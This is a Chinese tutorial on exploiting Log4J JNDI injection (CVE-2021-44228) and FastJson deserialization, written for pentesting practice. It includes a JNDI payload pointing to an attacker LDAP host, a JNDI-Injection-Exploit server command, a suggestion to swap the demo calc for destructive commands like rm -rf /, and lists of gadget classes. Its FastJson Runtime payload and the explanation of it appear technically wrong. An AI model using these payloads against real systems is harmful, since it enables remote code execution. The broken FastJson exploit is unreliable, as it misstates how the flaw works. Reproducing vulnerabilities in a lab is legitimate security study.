一、核心背景
在Java安全领域,第三方组件的漏洞是渗透测试与代码审计的高频考点。本文聚焦Log4J的JNDI注入漏洞和FastJson的反射执行漏洞,从实战复现角度拆解漏洞原理、触发条件及核心利用方式,所有案例均可本地复现,贴合企业安全岗位的实战需求。
二、Log4J + JNDI注入漏洞实战
2.1 漏洞核心原理
Log4J(Apache Log4j)是Java生态主流的日志框架,其2.x版本存在JNDI注入漏洞(CVE-2021-44228):当日志内容中包含${jndi:xxx}格式的表达式时,Log4J会主动解析并执行JNDI调用,若攻击者控制日志输入内容,可通过构造恶意JNDI链接(如LDAP/RMI),诱导目标服务器加载远程恶意类,最终执行任意代码。
2.2 环境搭建(Maven)
在pom.xml中引入存在漏洞的Log4J版本(用于复现,生产环境禁止使用):
xml
<dependencies>
<!-- Log4J 漏洞版本:2.14.1 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
2.3 漏洞复现代码
步骤1:编写含用户输入的日志程序
java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.Scanner;
public class Log4jJndiDemo {
// 初始化Log4J日志对象
private static final Logger logger = LogManager.getLogger(Log4jJndiDemo.class);
public static void main(String[] args) {
// 获取用户输入(模拟攻击者可控输入)
Scanner scanner = new Scanner(System.in);
System.out.println("请输入日志内容: ");
String userInput = scanner.nextLine();
// 将用户输入写入日志(触发漏洞的核心操作)
logger.error("用户输入内容: {}", userInput);
scanner.close();
}
}
步骤2:构造恶意JNDI输入
攻击者输入以下内容(需替换为恶意LDAP服务器IP):
${jndi:ldap://192.168.1.100:1389/Exploit}
步骤3:搭建恶意LDAP服务器(实战工具)
使用JNDI-Injection-Exploit.jar搭建恶意LDAP服务器,诱导目标执行指定命令(以打开计算器为例):
bash
# 命令说明:-C 指定要执行的命令,-A 指定LDAP服务器IP
java -jar JNDI-Injection-Exploit.jar -C "calc" -A 192.168.1.100
关键触发点
当Log4J解析包含${jndi:ldap://}的日志内容时,会主动连接恶意LDAP服务器,下载并执行服务器上的恶意类,最终触发calc命令(实际攻击中可替换为任意系统命令,如cmd /c dir、rm -rf /等)。
2.4 核心关键点
- JNDI注入的前提:Log4J版本≤2.14.1(未修复漏洞)+ 用户输入可控制日志内容;
- 漏洞本质:Log4J的
MessagePatternConverter类对表达式的不当解析,导致JNDI远程调用; - 利用链路:构造恶意JNDI链接 → 目标解析日志触发JNDI调用 → 加载远程恶意类 → 执行任意代码。
三、FastJson + 反射执行漏洞实战
3.1 漏洞核心原理
FastJson是阿里巴巴开源的JSON序列化/反序列化框架,其反序列化功能支持通过@type指定类名,若未做类白名单限制,攻击者可构造恶意JSON字符串,利用Java反射机制调用危险类(如java.lang.Runtime),执行任意系统命令。
3.2 环境搭建(Maven)
引入存在漏洞的FastJson版本(用于复现):
xml
<dependencies>
<!-- Fastjson 漏洞版本:1.2.78 -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.78</version>
</dependency>
</dependencies>
3.3 漏洞复现代码
步骤1:定义基础实体类
java
public class User {
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
步骤2:正常序列化/反序列化演示
java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastJsonReflectDemo {
public static void main(String[] args) {
// 1. 正常对象转JSON(带类名)
User user = new User("张三", 20);
String jsonWithClass = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("带类名JSON: " + jsonWithClass);
// 2. 正常JSON转对象
User user2 = JSON.parseObject(jsonWithClass, User.class);
System.out.println("反序列化结果: " + user2.getName() + "," + user2.getAge());
// 3. 恶意JSON触发反射执行(核心漏洞点)
String maliciousJson = "{\"@type\":\"java.lang.Runtime\",\"exec\":[\"calc\"]}";
JSON.parseObject(maliciousJson); // 执行此代码会弹出计算器
}
}
3.4 核心利用逻辑
@type:FastJson的反序列化标识,用于指定要解析的目标类;- 反射机制:FastJson解析
java.lang.Runtime类时,通过反射调用其exec()方法,执行传入的命令; - 关键条件:FastJson版本未修复反射调用限制 + 未配置类白名单 + 攻击者可控制反序列化的JSON内容。
3.5 实战拓展
除Runtime类外,攻击者还可利用以下危险类触发攻击:
java.lang.ProcessBuilder:构造并执行系统命令;com.sun.rowset.JdbcRowSetImpl:结合JNDI进一步扩大攻击范围;org.apache.commons.collections.Transformer:利用CC链执行代码。
四、核心实战总结
4.1 Log4J JNDI注入核心
- 漏洞触发的核心是用户输入可控日志内容 + Log4J对
${jndi:}表达式的解析; - 实战中可通过Burp Suite等工具构造包含JNDI链接的请求,注入到日志中触发漏洞;
- 关键利用工具:JNDI-Injection-Exploit.jar、marshalsec.jar(用于搭建恶意LDAP/RMI服务器)。
4.2 FastJson反射漏洞核心
- 漏洞触发的核心是
@type指定危险类 + 反序列化时调用类的方法; - 实战中需关注接口中接收JSON参数且未做类限制的场景;
- 核心测试Payload:
{"@type":"java.lang.Runtime","exec":["要执行的命令"]}。
4.3 实战价值要点
- 两类漏洞均属于"输入可控 + 组件解析不当"导致的远程代码执行,是渗透测试中针对Java系统的重点检测方向;
- 复现环境可直接用于企业安全岗面试中的技术演示,体现对Java组件安全的实战理解;
- 漏洞检测思路:扫描目标系统使用的组件版本 + 构造Payload测试输入点(日志输入、JSON接口等)。